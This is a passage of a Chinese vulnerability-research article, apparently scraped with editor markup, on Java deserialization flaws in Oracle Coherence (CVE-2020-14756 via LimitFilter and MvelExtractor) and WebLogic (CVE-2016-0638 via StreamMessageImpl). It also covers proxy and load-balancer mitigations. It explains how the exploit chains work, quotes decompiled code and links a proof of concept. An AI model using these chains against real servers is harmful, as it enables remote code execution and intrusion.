:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;sBbI-1673936953408&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHlR-1673942089626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5280/WEBRESOURCE97805d0cd1508976378ea7dc181cc994&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，比如com.tangosol.coherence.rest.util.extractor.MvelExtractor的extract方法将会直接执行Mvel表达式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5Lb-1673942993611&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5284/WEBRESOURCEf0e388f9350b3a52ab91ac1ebb28d0a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jSs3-1673937394754&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uVKL-1673937394753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6gza-1673946934904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04BA-1673946934903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;46s3-1673947020224&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0WKI-1673947020223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9v4V-1673947020226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdps-1673940653476&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLIT-1673940711109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Sw-1673940711110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6aX-1673940701477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01zo-1673861449893&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dU1v-1673575967334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sl9B-1673575967332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考文章：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQ5l-1673575720108&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZl9-1673575720107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;qpLh-1673575948943&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRvk-1673575948942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vqad-1673575948944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n1fj-1673577318648&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTAT-1673577318646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;q9D8-1673577319028&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrP6-1673577319027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXy-1673577319029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rynN-1673575952755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6dR-1673575952752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;eXpr-1673575953055&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cY3-1673575953054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h2uO-1673575953056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqwR-1673575959748&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAcW-1673575959746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;9rNx-1673575960046&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFJs-1673575960045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgeu-1673575960048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNWq-1673575964381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWgC-1673575964378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Ns7j-1673575964739&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://wjlshare.com/archives/1573&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxIl-1673575964738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://wjlshare.com/archives/1573&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6eF-1673575964740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLif-1673947585247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOpO-1673947585245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;2mKY-1673947585794&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYfr-1673947585793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq2F-1673947585795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><span style="font-size: 15px;">同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。</span></p></li><li><p><span style="font-size: 15px;">负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。</span></p></li></ul><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2016-0638</span></p><p><span style="font-size: 15px;">影响范围：</span></p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 10.3.6.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.2.1.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.1.2.0</p></li></ul><p><span style="font-weight: bold;font-size: 22px;">漏洞分析：</span></p><p><span style="font-size: 15px;">上文中我们提到，补丁对<span style="font-weight: bold;">weblogic.iiop.Utils.class</span>，<span style="font-weight: bold;">weblogic.rjvm.MsgAbbrevInputStream.class</span>，<span style="font-weight: bold;">weblogic.rjvm.InboundMsgAbbrev.class</span>三个类中的反序列化过程进行了黑名单过滤，而在<span style="font-weight: bold;">weblogic.jms.common.StreamMessageImpl</span>类的<span style="font-weight: bold;">readExternal</span>方法中同样存在readObject操作:</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=179f324b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yL21vzNSlUibMPNKicMPyPia6PMxHvoibicsOxN2zAFQqI0p4WD7TQ7SHZrA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">所以我们需自定义实现一个StreamMessageImpl类。</span></p><p><span style="font-size: 15px;">观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">public void writeExternal(ObjectOutput var1) throws IOException {</span></code><code><span class="code-snippet_outer">    super.writeExternal(var1);</span></code><code><span class="code-snippet_outer">    int var3 = Integer.MAX_VALUE;</span></code><code><span class="code-snippet_outer">    ObjectOutput var2;</span></code><code><span class="code-snippet_outer">    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {</span></code><code><span class="code-snippet_outer">        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();</span></code><code><span class="code-snippet_outer">        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();</span></code><code><span class="code-snippet_outer">    } else {</span></code><code><span class="code-snippet_outer">        var2 = var1;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    byte var4;</span></code><code><span class="code-snippet_outer">    if (this.getVersion(var2) &gt;= 30) {</span></code><code><span class="code-snippet_outer">        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));</span></code><code><span class="code-snippet_outer">    } else {</span></code><code><span class="code-snippet_outer">        var4 = 2;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    var2.writeByte(var4);</span></code><code><span class="code-snippet_outer">    if (this.isCompressed()) {</span></code><code><span class="code-snippet_outer">        if (var4 == 2) {</span></code><code><span class="code-snippet_outer">            this.decompress().writeLengthAndData(var2);</span></code><code><span class="code-snippet_outer">        } else {</span></code><code><span class="code-snippet_outer">            this.flushCompressedMessageBody(var2);</span></code><code><span class="code-snippet_outer">        